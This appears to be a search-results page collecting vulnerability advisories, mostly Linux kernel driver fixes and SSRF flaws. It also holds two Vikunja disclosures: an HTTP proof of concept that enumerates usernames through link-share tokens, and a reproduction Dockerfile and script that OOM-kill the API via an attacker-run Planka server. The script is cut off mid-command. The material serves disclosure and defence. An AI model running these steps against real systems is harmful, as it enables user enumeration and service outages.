Search: probe, s.a. de c.v

A vulnerability in the Linux kernel's iio chemical sgp30 driver was resolved. The issue involved improper handling of IAQ thread creation failure where kthread_run() could fail and return an error pointer, but the probe function would ignore this error and register the device as successful. This led to the device being registered without its IAQ thread, and later the error pointer was incorrectly passed to kthread_stop().

A NULL pointer dereference vulnerability in the Linux kernel's s390/vfio-ap driver was fixed. The issue occurs during the creation of a sysfs attribute group when the queue's driver data is not yet set, allowing a concurrent read to cause a NULL dereference. The fix involves acquiring update locks before creating the sysfs group to prevent concurrent access issues.

A vulnerability in the Linux kernel's accel/ethosu driver was resolved by ensuring that MMIO mapping errors are properly checked during device initialization. Previously, the probe function did not handle errors returned by devm_platform_ioremap_resource(), leading to potential dereferencing of invalid pointers. This issue affects specific versions of the linux-hwe-edge kernel and has been addressed by returning the mapping error before device initialization proceeds.

A vulnerability in the Linux kernel's hid-rmi driver allows out-of-bounds (OOB) memory access due to undersized RMI report descriptors. The driver allocates buffers based on device-supplied report sizes without enforcing minimum bounds, leading to reads and writes beyond allocated memory. This can leak kernel heap contents to unprivileged userspace and the device, and cause a probe-time hang due to a zero-length reply. The issue affects certain Linux kernel versions and has been resolved by rejecting undersized reports and clamping copy lengths.

A race condition vulnerability in the Linux kernel's usb-storage driver for the ene_ub6250 device was resolved. The issue involved unsynchronized access to the us->current_urb resource between the delayed scan work and the ene_get_card_type() function, which could cause warnings due to concurrent usb_submit_urb() calls on an already active URB. The fix serializes ene_get_card_type() with the us->dev_mutex to match the locking used by the scan path.

A vulnerability in the Linux kernel's drm/panel-edp component caused an i2c adapter reference leak on probe failure and driver unbind when a device tree redundantly uses the 'ddc-i2c-bus' property. This issue has been resolved by ensuring the i2c adapter reference is properly dropped in these scenarios.

A vulnerability in the Linux kernel's media remote control (rc) subsystem for sunxi-cir devices was fixed. The issue involved improper cleanup on probe failure after successful device registration, leading to resource leaks. The fix ensures that the rc device is properly unregistered on probe failure after registration succeeds.

A use-after-free vulnerability was identified and fixed in the Linux kernel's media i2c ov02a10 driver. The issue involved improper handling of an endpoint handle in the ov02a10_check_hwcfg() function, where the handle was freed before all operations were completed, leading to potential memory corruption. Additionally, an error handling flaw could cause the probe to fail incorrectly if a specific property was missing. This vulnerability affects certain versions of the linux-hwe-edge kernel and has a CVSS score of 7.8.

A vulnerability in the Linux kernel's LoongArch architecture allows a preempt count underflow due to improper handling of breakpoint instructions. This flaw can cause the kernel to misinterpret execution context, leading to incorrect socket cgroup attribution and potential bypass of BPF cgroup socket creation policies. The issue arises when a userspace breakpoint triggers a handler path that decrements the preempt count without a corresponding increment, causing in_interrupt() to return true erroneously until the task schedules.

CVE-2026-90041 is a high-severity vulnerability in the Linux kernel's HID sony driver where a failure during device probe can leave freed memory linked in the device list. This occurs because the sony_input_configured() function adds controllers to a device list before input devices are fully registered, and if input_register_device() fails, the cleanup process is incomplete, leading to use-after-free conditions. The issue has been fixed by ensuring proper initialization and idempotent removal of list nodes and running cleanup on all probe failure paths.

### Summary A link-share token, the credential you hand out to let someone view a shared project, can call the v2 user-search endpoints, which it was never meant to reach. The v1 versions of the same endpoints correctly reject link-share tokens; the v2 versions don't. As a result, anyone with a share link can list every member of the shared project (and its parent projects), and can test whether any username exists anywhere on the instance. ### Details Two endpoints are affected: `GET /api/v2/projects/{id}/users/search` only checks project.CanRead, which a link share satisfies on its own project. With no parameter it returns the full user list, walking up the parent-project chain. `GET /api/v2/users?q=<name>` is a global search. It needs a query term, but any term works as an existence oracle: a hit confirms the username exists somewhere on the instance and returns the display name. Emails are correctly stripped from these responses, so the exposure is limited to identities (usernames and display names), but that's still an instance-wide directory that a share-link holder should never see. The fix is to resolve the caller with GetFromAuth in both handlers, so link-share tokens are rejected the same way v1 already rejects them. ### PoC 1. Get a link-share token. With any account that owns a project, create a read-only link share and note the hash, then exchange it: ``` POST /api/v1/shares/<hash>/auth {"password":""} ``` The response contains a token, a link-share JWT. 2. Confirm v1 blocks it (the fixed behavior). With that token: ``` GET /api/v1/projects/<id>/projectusers Authorization: Bearer <link_share_token> ``` → rejected: the token isn't a user token. 3. Now the vulnerable v2 endpoints, same token: ``` GET /api/v2/projects/<id>/users/search Authorization: Bearer <link_share_token> ``` → 200, full list of everyone with access to the project and its parents (id, username, name). ``` GET /api/v2/users?q=admin Authorization: Bearer <link_share_token> ``` → 200, a non-empty result confirms the username exists on the instance. Iterate q over a wordlist to enumerate accounts. ### Impact Information disclosure. A link share is a low-trust credential meant to expose one project's contents; here it also exposes the membership of that project's parents and lets the holder probe for any username across the whole instance. Since share links are often forwarded or semi-public, this hands an untrusted recipient a map of internal users and a username-validation oracle useful for phishing and credential stuffing. No account is required beyond possessing a share link. Emails are not exposed.

# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/user

AVideo through 29.0 contains a blind server-side request forgery vulnerability in the getHeaderContentTypeFromURL function that issues get_headers() calls guarded only by format validation. Authenticated users with canUpload permission can store attacker-chosen URLs as video links, triggering vulnerable function execution on every video watch page render to probe internal hosts using content-type oracles and timing-based detection.

AVideo through 29.0 contains an unauthenticated server-side request forgery vulnerability in the check_site_availability function that accepts attacker-controlled HTTP Host headers. Attackers can send requests to submitIndex.php or ajax.php with arbitrary Host headers to probe internal network hosts and ports, following redirects without authentication.

Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4-rc.3, the scheduler's default unauthenticated v1 gRPC flow accepts attacker-controlled PeerHost.Ip and PeerHost.DownPort values through RegisterPeerTask and ReportPeerResult, storeHost copies those values into resource.Host, and handlePeerSuccess invokes Peer.DownloadTinyFile() for a TINY task. DownloadTinyFile() in scheduler/resource/standard/peer.go builds an HTTP GET request from the supplied address without destination validation, allowing a remote attacker to probe loopback, link-local, and private services and place up to TinyFileSize, 128 bytes, of a response in Task.DirectPiece for later retrieval. PeerHost.DownPort is restricted to ports 1024 through 65534, and the issue provides read SSRF rather than remote code execution. The remediation blocks loopback and link-local targets, while RFC1918 destinations remain reachable because IsGlobalUnicast accepts private ranges. This issue is fixed in 2.4.4-rc.3.

ContextForge is an AI gateway, registry, and proxy that provides centralized discovery, guardrails, and management for MCP, A2A, and REST or gRPC APIs. Prior to 1.0.3, the /admin/gateways/test call site in mcpgateway/admin.py calls validate_gateway_test_url() in mcpgateway/common/validators.py to resolve and reject private, loopback, link-local, and cloud-metadata addresses, but ResilientHttpClient later resolves the original hostname again without binding the validated address. When MCPGATEWAY_ADMIN_API_ENABLED is enabled, an attacker with a database-backed role containing explicit gateways.read permission can use DNS rebinding to return a public address during validation and a private or metadata address during connection, bypassing ssrf_blocked_networks and ssrf_dns_fail_closed because those controls apply only to the validation-time result. The endpoint's allow_admin_bypass=False setting means a bootstrap-only virtual platform-admin identity without a database role is not sufficient. Successful exploitation can reach internal services and cloud metadata, expose cloud credentials, access internal APIs, or probe internal network ports. This issue is fixed in version 1.0.3.

A use-after-free vulnerability in the Linux kernel's at91_udc USB gadget driver was resolved. The issue occurs because a polled-VBUS timer and work cycle continue to reference a device context (udc) after it has been freed during driver removal or probe failure. This can lead to dereferencing freed memory, causing potential system instability or compromise. The fix involves properly shutting down the timer and work cycle during driver removal and probe failure paths to prevent use-after-free conditions.

A vulnerability in the Linux kernel's serial driver for imx UART ports was resolved. The issue involved improper serialization of the imx_uart_ports[] array lifetime, where a dangling pointer could remain after a failed port addition or removal. This allowed a sibling probe to register a shared console through a stale entry, potentially causing inconsistent or unintended behavior. The fix ensures the entry remains valid through removal and protects port addition and removal operations to prevent interleaving. Occupied slots are now rejected rather than overwritten during duplicate-line probes.

In the Linux kernel, the following vulnerability has been resolved: power: supply: charger-manager: register regulators before exposing sysfs charger_manager_remove() and the err_reg_extcon probe error path free each charger regulator with regulator_put() before tearing down the power_supply sysfs entries (power_supply_unregister()). charger_manager_remove() also calls try_charger_enable(cm, false) after the regulator_put() loop. A concurrent write to a charger's externally_control sysfs attribute that lands between regulator_put() and power_supply_unregister() can run charger_externally_control_store() and call try_charger_enable(), which, when charging is enabled, dereferences the already-freed consumer handle. When charging is enabled, try_charger_enable(cm, false) in .remove() also dereferences the freed handles directly. Both leave use-after-free windows. Symmetrically, probe registers the sysfs entries (power_supply_register) before acquiring the regulators (regulator_get, inside charger_manager_register_extcon), so userspace can reach externally_control before the regulators are available. Split charger_manager_register_extcon() on the sync/async boundary: charger_manager_get_regulators() (regulator_get only, no async producer) now runs before power_supply_register() so sysfs is not live before regulators are available, and charger_manager_register_extcon() keeps only the extcon notifier/work setup, still after power_supply_register() so a power_supply_register() failure cannot reach extcon setup. This keeps the sysfs setup/teardown ordering symmetric without introducing an asynchronous producer on the earlier probe-error path. Move power_supply_unregister() and try_charger_enable(cm, false) ahead of the regulator_put() loop on both teardown paths, and adjust err_reg_extcon (power_supply_unregister() then fall through err_regulator for regulator_put(); get_regulators self-rolls back on its own failure). This does not address the separate extcon-notifier-driven deref of the same handles, which needs its own synchronization design. Found by an in-house static analysis tool.